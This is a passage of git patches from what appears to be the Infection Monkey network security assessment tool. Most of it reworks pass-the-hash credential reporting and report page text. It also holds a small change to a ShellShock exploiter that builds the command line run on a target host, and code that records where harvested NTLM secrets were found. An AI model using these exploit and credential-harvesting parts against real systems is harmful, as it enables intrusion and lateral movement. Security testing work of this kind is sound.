fix_obj_for_mongo(wmi_class) @@ -188,7 +183,7 @@ class WindowsInfoCollector(InfoCollector): d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) d = fix_obj_for_mongo(d) - self.info[subkey_path] = d + self.info['reg'][subkey_path] = d subkey.Close() - key.Close() \ No newline at end of file + key.Close() diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index 0f0754ed3..6b9ac1154 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -19,8 +19,6 @@ from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_download import MonkeyDownload from cc.resources.netmap import NetMap -from cc.resources.pthmap import PthMap -from cc.resources.pthreport import PTHReport from cc.resources.node import Node from cc.resources.report import Report from cc.resources.root import Root @@ -108,7 +106,5 @@ def init_app(mongo_url): api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') - api.add_resource(PthMap, '/api/pthmap', '/api/pthmap/') - api.add_resource(PTHReport, '/api/pthreport', '/api/pthreport/') return app diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py deleted file mode 100644 index d19afd56f..000000000 --- a/monkey_island/cc/resources/pthmap.py +++ /dev/null @@ -1,21 +0,0 @@ -import copy -import flask_restful - - -from cc.auth import jwt_required -from cc.services.pth_report_utils import PassTheHashReport, Machine - - -class PthMap(flask_restful.Resource): - @jwt_required() - def get(self, **kw): - pth = PassTheHashReport() - - v = copy.deepcopy(pth.vertices) - e = copy.deepcopy(pth.edges) - - return \ - { - "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], - "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] - } diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py deleted file mode 100644 index 7c4046694..000000000 --- a/monkey_island/cc/resources/pthreport.py +++ /dev/null @@ -1,13 +0,0 @@ -import flask_restful - -from cc.auth import jwt_required -from cc.services.pth_report import PTHReportService - -__author__ = "maor.rayzin" - - -class PTHReport(flask_restful.Resource): - - @jwt_required() - def get(self): - return PTHReportService.get_report() diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py index 03167f81a..512a80a14 100644 --- a/monkey_island/cc/services/pth_report.py +++ b/monkey_island/cc/services/pth_report.py @@ -257,178 +257,4 @@ class PTHReportService(object): 'edges': pth.edges } } - return report - - # print """
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null} {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
  • The monkey has found that some users have administrative rights on several machines.
  • : null} + {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS_DOMAIN] ? +
  • The monkey has found that some users are sharing passwords on domain accounts.
  • : null} {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
  • The monkey has found that some users are sharing passwords.
  • : null} @@ -413,6 +416,12 @@ class ReportPageComponent extends AuthComponent {
    {this.generateIssues(this.state.report.recommendations.issues)}
    +

    + Domain related recommendations +

    +
    + {this.generateIssues(this.state.report.recommendations.domain_issues)} +
    ); } @@ -465,9 +474,6 @@ class ReportPageComponent extends AuthComponent {
    -
    - -
    @@ -745,6 +751,18 @@ class ReportPageComponent extends AuthComponent { ); } + generateSharedCredsDomainIssue(issue) { + return ( +
  • + Some domain users are sharing passwords, this should be fixed by changing passwords. + + These users are sharing access password: + {this.generateInfoBadges(issue.shared_with)}. + +
  • + ); + } + generateSharedCredsIssue(issue) { return (
  • @@ -760,10 +778,10 @@ class ReportPageComponent extends AuthComponent { generateSharedLocalAdminsIssue(issue) { return (
  • - This machine shares a local admin account with another machine + Credentials for the user {issue.username} could be found and the user is an administrator account on more than one machines in the domain. - Here is a list showing users that are acting as admins on this machine and others: - {this.generateInfoBadges(issue.shared_accounts)} + Here is a list of machines which has this account defined as an administrator: + {this.generateInfoBadges(issue.shared_machines)}
  • ); @@ -892,7 +910,10 @@ class ReportPageComponent extends AuthComponent { case 'shared_passwords': data = this.generateSharedCredsIssue(issue); break; - case 'shared_admins': + case 'shared_passwords_domain': + data = this.generateSharedCredsDomainIssue(issue); + break; + case 'shared_admins_domain': data = this.generateSharedLocalAdminsIssue(issue); break; case 'strong_users_on_crit': From 9f70a7491c33455520e53faf977eb9dea3c3b711 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 11 Oct 2018 16:26:57 +0300 Subject: [PATCH 210/243] Fixed logger configuration file path --- monkey/monkey_island/cc/main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index a86d13913..a739c3a35 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -12,7 +12,7 @@ if BASE_PATH not in sys.path: from cc.island_logger import json_setup_logging # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. -json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) +json_setup_logging(default_path='.\\monkey_island\\cc\\island_logger_default_config.json', default_level=logging.DEBUG) logger = logging.getLogger(__name__) from cc.app import init_app From f39ee626682eceba4b5433b8745ae5234e9df323 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 14 Oct 2018 16:35:18 +0300 Subject: [PATCH 211/243] Fix base path for monkey download after refactor --- monkey/monkey_island/cc/resources/monkey_download.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index acf92b558..305d8c6e9 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -1,15 +1,14 @@ -import logging import json - +import logging import os -from flask import request, send_from_directory + import flask_restful +from flask import request, send_from_directory __author__ = 'Barak' logger = logging.getLogger(__name__) - MONKEY_DOWNLOADS = [ { 'type': 'linux', @@ -81,7 +80,8 @@ class MonkeyDownload(flask_restful.Resource): result = get_monkey_executable(host_os.get('type'), host_os.get('machine')) if result: - real_path = os.path.join('binaries', result['filename']) + # change resulting from new base path + real_path = os.path.join("monkey_island", "cc", 'binaries', result['filename']) if os.path.isfile(real_path): result['size'] = os.path.getsize(real_path) return result From 822e54f373568fde1bc710f19717aa3f3bb0ee8b Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 14 Oct 2018 17:57:15 +0300 Subject: [PATCH 212/243] This commit isn't final. I want to reorganise the code structure a bit, to make it prettier and readable, also to add docs. Still need to update the report's text. --- .../monkey_island/cc/resources/telemetry.py | 10 + monkey/monkey_island/cc/services/node.py | 5 + .../monkey_island/cc/services/pth_report.py | 246 +++++++----------- .../cc/services/pth_report_utils.py | 4 + monkey/monkey_island/cc/services/report.py | 9 +- .../cc/ui/src/components/pages/ReportPage.js | 19 +- 6 files changed, 124 insertions(+), 169 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 0ef453e98..0c390a192 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -197,11 +197,19 @@ class Telemetry(flask_restful.Resource): Telemetry.create_group_user_connection(info_for_mongo, group_user_dict) for entity in info_for_mongo.values(): if entity['machine_id']: + # Handling for local entities. mongo.db.groupsandusers.update({'SID': entity['SID'], 'machine_id': entity['machine_id']}, entity, upsert=True) else: + # Handlings for domain entities. if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}): mongo.db.groupsandusers.insert_one(entity) + else: + # if entity is domain entity, add the monkey id of current machine to secrets_location. + # (found on this machine) + if entity.get('NTLM_secret'): + mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': 1}, + {'$addToSet': {'secret_location': monkey_id}}) Telemetry.add_admin(info_for_mongo[group_info.ADMINISTRATORS_GROUP_KNOWN_SID], monkey_id) Telemetry.update_admins_retrospective(info_for_mongo) @@ -209,6 +217,8 @@ class Telemetry(flask_restful.Resource): telemetry_json['data']['wmi']['Win32_Product'], monkey_id) + + @staticmethod def update_critical_services(wmi_services, wmi_products, machine_id): critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 47cd9cd21..371eefb5a 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -97,6 +97,11 @@ class NodeService: def get_monkey_label_by_id(monkey_id): return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id)) + @staticmethod + def get_monkey_critical_services(monkey_id): + critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', []) + return critical_services + @staticmethod def get_monkey_label(monkey): label = monkey["hostname"] + " : " + monkey["ip_addresses"][0] diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 726fba143..bc995242d 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -1,3 +1,7 @@ +import uuid +from itertools import combinations, product + +from cc.services.edge import EdgeService from cc.services.pth_report_utils import PassTheHashReport, Machine from cc.database import mongo from bson import ObjectId @@ -49,7 +53,6 @@ class PTHReportService(object): @staticmethod def get_duplicated_passwords_issues(): - # TODO: Fix bug if both local and non local account share the same password user_groups = PTHReportService.get_duplicated_passwords_nodes() issues = [] users_gathered = [] @@ -98,195 +101,130 @@ class PTHReportService(object): return issues - @staticmethod - def old_get_shared_local_admins_nodes(pth): - dups = dict(map(lambda x: (x, len(pth.GetSharedAdmins(x))), pth.machines)) - shared_admin_machines = [] - for m, count in sorted(dups.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: - continue - shared_admin_account_list = [] - - for sid in pth.GetSharedAdmins(m): - shared_admin_account_list.append(pth.GetUsernameBySid(sid)) - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services_names': m.GetCriticalServicesInstalled(), - 'user_count': count, - 'admins_accounts': shared_admin_account_list - } - - shared_admin_machines.append(machine) - - return shared_admin_machines - - @staticmethod - def get_strong_users_on_crit_services_by_machine(pth): - threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetCritialServers())) - strong_users_crit_list = [] - - for m, count in sorted(threatening.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: - continue - - threatening_users_attackers_dict = {} - for sid in pth.GetThreateningUsersByVictim(m): - username = pth.GetUsernameBySid(sid) - threatening_users_attackers_dict[username] = [] - for mm in pth.GetAttackersBySid(sid): - if m == mm: - continue - threatening_users_attackers_dict[username] = mm.GetIp() - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services': m.GetCriticalServicesInstalled(), - 'threatening_users': threatening_users_attackers_dict - } - strong_users_crit_list.append(machine) - return strong_users_crit_list - - @staticmethod - def get_strong_users_on_crit_services_by_user(pth): - critical_servers = pth.GetCritialServers() - strong_users_dict = {} - - for server in critical_servers: - users = pth.GetThreateningUsersByVictim(server) - for sid in users: - username = pth.GetUsernameBySid(sid) - if username not in strong_users_dict: - strong_users_dict[username] = { - 'services_names': [], - 'machines': [] + def get_strong_users_on_critical_machines_nodes(): + crit_machines = {} + pipeline = [ + { + '$unwind': '$admin_on_machines' + }, + { + '$match': {'type': 1, 'domain_name': {'$ne': None}} + }, + { + '$lookup': + { + 'from': 'monkey', + 'localField': 'admin_on_machines', + 'foreignField': '_id', + 'as': 'critical_machine' } - strong_users_dict[username]['username'] = username - strong_users_dict[username]['domain'] = server.GetDomainName() - strong_users_dict[username]['services_names'] += server.GetCriticalServicesInstalled() - strong_users_dict[username]['machines'].append(server.GetHostName()) - - return strong_users_dict.values() - - @staticmethod - def get_strong_users_on_non_crit_services(pth): - threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) - - strong_users_non_crit_list = [] - - for m, count in sorted(threatening.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: - continue - - threatening_users_attackers_dict = {} - for sid in pth.GetThreateningUsersByVictim(m): - username = pth.GetUsernameBySid(sid) - threatening_users_attackers_dict[username] = [] - for mm in pth.GetAttackersBySid(sid): - if m == mm: - continue - threatening_users_attackers_dict[username] = mm.GetIp() - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services_names': [], - 'user_count': count, - 'threatening_users': threatening_users_attackers_dict + }, + { + '$match': {'critical_machine.critical_services': {'$ne': []}} + }, + { + '$unwind': '$critical_machine' } - strong_users_non_crit_list.append(machine) - return strong_users_non_crit_list - - - + ] + docs = mongo.db.groupsandusers.aggregate(pipeline) + for doc in docs: + hostname = str(doc['critical_machine']['hostname']) + if not hostname in crit_machines: + crit_machines[hostname] = {} + crit_machines[hostname]['threatening_users'] = [] + crit_machines[hostname]['critical_services'] = doc['critical_machine']['critical_services'] + crit_machines[hostname]['threatening_users'].append( + {'name': str(doc['domain_name']) + '\\' + str(doc['name']), + 'creds_location': doc['secret_location']}) + return crit_machines @staticmethod - def strong_users_on_crit_issues(strong_users): + def get_strong_users_on_crit_issues(): issues = [] - for machine in strong_users: + crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() + for machine in crit_machines: issues.append( { 'type': 'strong_users_on_crit', - 'machine': machine.get('hostname'), - 'services': machine.get('services'), - 'ip': machine.get('ip'), - 'threatening_users': machine.get('threatening_users').keys() + 'machine': machine, + 'services': crit_machines[machine].get('critical_services'), + 'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']] } ) return issues @staticmethod - def get_machine_details(node_id): - machine = Machine(node_id) - node = {} - if machine.latest_system_info: - node = { - "id": str(node_id), - "label": '{0} : {1}'.format(machine.GetHostName(), machine.GetIp()), - 'group': 'critical' if machine.IsCriticalServer() else 'normal', - 'users': list(machine.GetCachedUsernames()), - 'ips': [machine.GetIp()], - 'services': machine.GetCriticalServicesInstalled(), - 'hostname': machine.GetHostName() - } - return node + def generate_map_nodes(): - @staticmethod - def generate_map_nodes(pth): nodes_list = [] - for node_id in pth.vertices: - node = PTHReportService.get_machine_details(node_id) - nodes_list.append(node) + monkeys = mongo.db.monkey.find({}, {'_id': 1, 'hostname': 1, 'critical_services': 1, 'ip_addresses': 1}) + for monkey in monkeys: + critical_services = monkey.get('critical_services', []) + nodes_list.append({ + 'id': monkey['_id'], + 'label': '{0} : {1}'.format(monkey['hostname'], monkey['ip_addresses'][0]), + 'group': 'critical' if critical_services else 'normal', + 'services': critical_services, + 'hostname': monkey['hostname'] + }) return nodes_list @staticmethod - def get_issues_list(issues): - issues_dict = {} + def generate_edge_nodes(): + edges_list = [] + pipeline = [ + { + '$match': {'admin_on_machines': {'$ne': []}, 'secret_location': {'$ne': []}, 'type': 1} + }, + { + '$project': {'admin_on_machines': 1, 'secret_location': 1} + } + ] + comp_users = mongo.db.groupsandusers.aggregate(pipeline) - for issue in issues: - machine = issue['machine'] - if machine not in issues_dict: - issues_dict[machine] = [] - issues_dict[machine].append(issue) + for user in comp_users: + pairs = PTHReportService.generate_edges_tuples(user['admin_on_machines'], user['secret_location']) + for pair in pairs: + edges_list.append( + { + 'from': pair[0], + 'to': pair[1], + 'id': str(uuid.uuid4()) + } + ) + return edges_list + + + @staticmethod + def generate_edges_tuples(*lists): + + for t in combinations(lists, 2): + for pair in product(*t): + # Don't output pairs containing duplicated elements + if pair[0] != pair[1]: + yield pair - return issues_dict @staticmethod def get_report(): - + PTHReportService.get_strong_users_on_critical_machines_nodes() issues = [] - pth = PassTheHashReport() - - strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services_by_user(pth) - strong_users_on_non_crit_services = PTHReportService.get_strong_users_on_non_crit_services(pth) - - issues += PTHReportService.get_duplicated_passwords_issues() - # issues += PTHReportService.get_shared_local_admins_issues(local_admin_shared) - # issues += PTHReportService.strong_users_on_crit_issues( - # PTHReportService.get_strong_users_on_crit_services_by_machine(pth)) - report = \ { 'report_info': { - 'strong_users_on_crit_services': strong_users_on_crit_services, - 'strong_users_on_non_crit_services': strong_users_on_non_crit_services, 'pth_issues': issues }, 'pthmap': { - 'nodes': PTHReportService.generate_map_nodes(pth), - 'edges': pth.edges + 'nodes': PTHReportService.generate_map_nodes(), + 'edges': PTHReportService.generate_edge_nodes() } } - return report \ No newline at end of file + + return report diff --git a/monkey/monkey_island/cc/services/pth_report_utils.py b/monkey/monkey_island/cc/services/pth_report_utils.py index 61fe78765..13fe3654f 100644 --- a/monkey/monkey_island/cc/services/pth_report_utils.py +++ b/monkey/monkey_island/cc/services/pth_report_utils.py @@ -604,6 +604,10 @@ class PassTheHashReport(object): RIGHT_ARROW = u"\u2192" return "%s %s %s" % (attacker_label, RIGHT_ARROW, victim_label) + + + + def get_edges_by_sid(self): edges_list = [] diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 3af346f34..552250b35 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -118,10 +118,7 @@ class ReportService: [NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \ + [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in mongo.db.monkey.find({}, {'_id': 1})] - for node in nodes: - pth_services = PTHReportService.get_machine_details(NodeService.get_monkey_by_id(node['id']) - .get('guid', None)).get('services', None) formatted_nodes.append( { 'label': node['label'], @@ -130,7 +127,7 @@ class ReportService: (x['hostname'] for x in (NodeService.get_displayed_node_by_id(edge['from'], True) for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), - 'services': node['services'] + pth_services if pth_services else [] + 'services': node['services'] }) logger.info('Scanned nodes generated for reporting') @@ -561,7 +558,8 @@ class ReportService: ReportService.get_tunnels, ReportService.get_island_cross_segment_issues, ReportService.get_azure_issues, - PTHReportService.get_duplicated_passwords_issues + PTHReportService.get_duplicated_passwords_issues, + PTHReportService.get_strong_users_on_crit_issues ] issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) @@ -720,7 +718,6 @@ class ReportService: 'pth': { 'map': pth_report.get('pthmap'), - 'info': pth_report.get('report_info') } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index f45a5dab3..f4982a9e8 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -410,18 +410,19 @@ class ReportPageComponent extends AuthComponent { generateReportRecommendationsSection() { return (
    -

    - Recommendations -

    -
    - {this.generateIssues(this.state.report.recommendations.issues)} -

    Domain related recommendations

    {this.generateIssues(this.state.report.recommendations.domain_issues)}
    +

    + Machine related Recommendations +

    +
    + {this.generateIssues(this.state.report.recommendations.issues)} +
    +
    ); } @@ -474,9 +475,6 @@ class ReportPageComponent extends AuthComponent {
    -
    - -
    ); } @@ -487,6 +485,9 @@ class ReportPageComponent extends AuthComponent {

    Credential Map

    +

    + This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers. +

    From c8e547ee8a791dead401b8f73bae0d7a5358d7f8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 14 Oct 2018 17:58:51 +0300 Subject: [PATCH 213/243] cleaned up imports --- monkey/monkey_island/cc/services/pth_report.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index bc995242d..364c2c5aa 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -1,8 +1,6 @@ import uuid from itertools import combinations, product -from cc.services.edge import EdgeService -from cc.services.pth_report_utils import PassTheHashReport, Machine from cc.database import mongo from bson import ObjectId From 64c072950c2d367371b665ba326431cd2ffca83c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 14 Oct 2018 20:05:49 +0300 Subject: [PATCH 214/243] Dropper expects to know where is it going to --- monkey/infection_monkey/exploit/shellshock.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index dd80af22c..b268371be 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter): # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & ' run_path = exploit + cmdline self.attack_page(url, header, run_path) From ab8ee08b472b4b610d6ac3c0fa3c2e5cedd8ede9 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 16 Oct 2018 12:05:09 +0300 Subject: [PATCH 215/243] Added strong users table in the report and removed old files --- .../monkey_island/cc/resources/telemetry.py | 2 - .../monkey_island/cc/services/pth_report.py | 44 +- monkey/monkey_island/cc/services/report.py | 1 + .../cc/ui/src/components/pages/ReportPage.js | 20 +- .../report-components/StrongUsers.js | 1 - monkey_island/cc/services/group_info.py | 0 monkey_island/cc/services/pth_report.py | 259 ----- monkey_island/cc/services/pth_report_utils.py | 958 ------------------ monkey_island/cc/services/user_info.py | 0 .../map/preview-pane/InfMapPreviewPane.js | 247 ----- .../map/preview-pane/PthPreviewPane.js | 63 -- .../components/pages/PassTheHashMapPage.js | 58 -- .../report-components/SharedAdmins.js | 42 - .../report-components/SharedCreds.js | 41 - .../report-components/StrongUsers.js | 44 - .../cc/ui/src/images/nodes/pth/critical.png | Bin 20067 -> 0 bytes .../cc/ui/src/images/nodes/pth/normal.png | Bin 19466 -> 0 bytes 17 files changed, 46 insertions(+), 1734 deletions(-) delete mode 100644 monkey_island/cc/services/group_info.py delete mode 100644 monkey_island/cc/services/pth_report.py delete mode 100644 monkey_island/cc/services/pth_report_utils.py delete mode 100644 monkey_island/cc/services/user_info.py delete mode 100644 monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js delete mode 100644 monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js delete mode 100644 monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js delete mode 100644 monkey_island/cc/ui/src/components/report-components/SharedAdmins.js delete mode 100644 monkey_island/cc/ui/src/components/report-components/SharedCreds.js delete mode 100644 monkey_island/cc/ui/src/components/report-components/StrongUsers.js delete mode 100644 monkey_island/cc/ui/src/images/nodes/pth/critical.png delete mode 100644 monkey_island/cc/ui/src/images/nodes/pth/normal.png diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 0c390a192..644fd6984 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -217,8 +217,6 @@ class Telemetry(flask_restful.Resource): telemetry_json['data']['wmi']['Win32_Product'], monkey_id) - - @staticmethod def update_critical_services(wmi_services, wmi_products, machine_id): critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 364c2c5aa..0bd9c332d 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -7,14 +7,6 @@ from bson import ObjectId class PTHReportService(object): - """ - - """ - - def __init__(self): - pass - - @staticmethod def get_duplicated_passwords_nodes(): users_cred_groups = [] @@ -153,6 +145,34 @@ class PTHReportService(object): return issues + @staticmethod + def get_strong_users_on_crit_details(): + table_entries = [] + user_details = {} + crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() + for machine in crit_machines: + for user in crit_machines[machine]['threatening_users']: + username = user['name'] + if username not in user_details: + user_details[username] = {} + user_details[username]['machines'] = [] + user_details[username]['services'] = [] + user_details[username]['machines'].append(machine) + user_details[username]['services'] += crit_machines[machine]['critical_services'] + + for user in user_details: + table_entries.append( + { + 'username': user, + 'machines': user_details[user]['machines'], + 'services_names': user_details[user]['services'] + } + ) + + return table_entries + + + @staticmethod def generate_map_nodes(): @@ -188,14 +208,13 @@ class PTHReportService(object): for pair in pairs: edges_list.append( { - 'from': pair[0], - 'to': pair[1], + 'from': pair[1], + 'to': pair[0], 'id': str(uuid.uuid4()) } ) return edges_list - @staticmethod def generate_edges_tuples(*lists): @@ -205,7 +224,6 @@ class PTHReportService(object): if pair[0] != pair[1]: yield pair - @staticmethod def get_report(): @@ -216,8 +234,10 @@ class PTHReportService(object): { 'report_info': { + 'strong_users_table': PTHReportService.get_strong_users_on_crit_details(), 'pth_issues': issues }, + 'pthmap': { 'nodes': PTHReportService.generate_map_nodes(), diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 552250b35..304867495 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -717,6 +717,7 @@ class ReportService: }, 'pth': { + 'strong_users': pth_report['report_info']['strong_users_table'], 'map': pth_report.get('pthmap'), } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index f4982a9e8..260701c4d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -347,8 +347,7 @@ class ReportPageComponent extends AuthComponent { {this.state.report.overview.issues[this.Issue.HADOOP] ?
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null } {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? -
  • Credentials of strong users was found on machines and can give access to critical servers - (DC, MSSQL, etc..)
  • : null } +
  • Mimikatz found login credentials of a user who has admin access to a server defined as critical.
  • : null } : @@ -375,11 +374,9 @@ class ReportPageComponent extends AuthComponent { {this.state.report.overview.warnings[this.Warning.TUNNEL] ?
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null} {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? -
  • The monkey has found that some users have administrative rights on several machines.
  • : null} - {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS_DOMAIN] ? -
  • The monkey has found that some users are sharing passwords on domain accounts.
  • : null} +
  • Shared local administrator account - Different machines have the same account as a local administrator.
  • : null} {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ? -
  • The monkey has found that some users are sharing passwords.
  • : null} +
  • Multiple users have the same password
  • : null} : @@ -471,10 +468,15 @@ class ReportPageComponent extends AuthComponent {
    +
    {this.generateReportPthMap()} +
    +
    + +
    ); } @@ -488,6 +490,10 @@ class ReportPageComponent extends AuthComponent {

    This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers.

    +
    + Legend: + Access credentials | +
    @@ -779,7 +785,7 @@ class ReportPageComponent extends AuthComponent { generateSharedLocalAdminsIssue(issue) { return (
  • - Credentials for the user {issue.username} could be found and the user is an administrator account on more than one machines in the domain. + Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing. Here is a list of machines which has this account defined as an administrator: {this.generateInfoBadges(issue.shared_machines)} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js index 36068f26e..a8f045479 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js @@ -11,7 +11,6 @@ const columns = [ Header: 'Powerful Users', columns: [ { Header: 'Username', accessor: 'username'}, - { Header: 'Domain', accessor: 'domain'}, { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, { Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)} ] diff --git a/monkey_island/cc/services/group_info.py b/monkey_island/cc/services/group_info.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py deleted file mode 100644 index fe25fd494..000000000 --- a/monkey_island/cc/services/pth_report.py +++ /dev/null @@ -1,259 +0,0 @@ -from cc.services.pth_report_utils import PassTheHashReport, Machine - - -class PTHReportService(object): - - """ - - """ - - def __init__(self): - pass - - @staticmethod - def get_duplicated_password_nodes(pth): - """ - - """ - - usernames_lists = [] - usernames_per_sid_list = [] - dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) - - for secret, count in sorted(dups.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 1: - continue - for sid in pth.GetSidsBySecret(secret): - if sid: - usernames_per_sid_list.append(pth.GetUsernameBySid(sid)) - - usernames_lists.append({'cred_group': usernames_per_sid_list}) - - return usernames_lists - - @staticmethod - def get_shared_local_admins_nodes(pth): - dups = dict(map(lambda x: (x, len(pth.GetSharedAdmins(x))), pth.machines)) - shared_admin_machines = [] - for m, count in sorted(dups.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: 